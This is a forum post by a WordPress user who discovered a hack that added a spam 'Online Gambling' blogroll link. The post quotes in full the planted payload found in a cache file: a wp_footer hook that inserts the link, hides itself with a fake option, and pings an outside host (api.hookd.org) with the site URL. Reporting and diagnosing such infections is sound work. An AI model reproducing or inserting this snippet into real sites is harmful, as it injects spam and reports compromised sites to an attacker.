Greetings,
Not sure how or when this happened, but somehow someone was able to get into the site and add an "Online Gambling" link to the blogroll.
I was running 2.9.2 at the time it happened and have since upgraded to 3.0.
I only discovered the remnants of this hack when I was upgrading because I could not delete the files. Two files were placed into the wp-content directory:
wp-content/cache/hookd/DOMAINNAME.com
The two files were: 8b8203326e2a9c70947a and index.html, both of which had the owner permissions set so that I could not delete them.
The index.html file was empty, but the "8b8203326e2a9c70947a" file contained the following code:
c*entry:add_action:wp_footer:s:499:"global $wpdb;
if (!function_exists("wp_insert_link")) {
@include('wp-admin/includes/bookmark.php');
}
if(!get_option('_wp_version')) {
if ($wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url='http://www.onlinegambling.eu'")==0) {
@wp_insert_link(array("link_name" => "Online Gambling", "link_url" => "http://www.onlinegambling.eu"));
@update_option('_wp_version', '1');
$buffer = @file_get_contents('http://api.hookd.org/ping/' . get_option('home'));
}
}";:c*end
Did this happen because of a plugin I installed, or did someone get in some other way?
Thanks.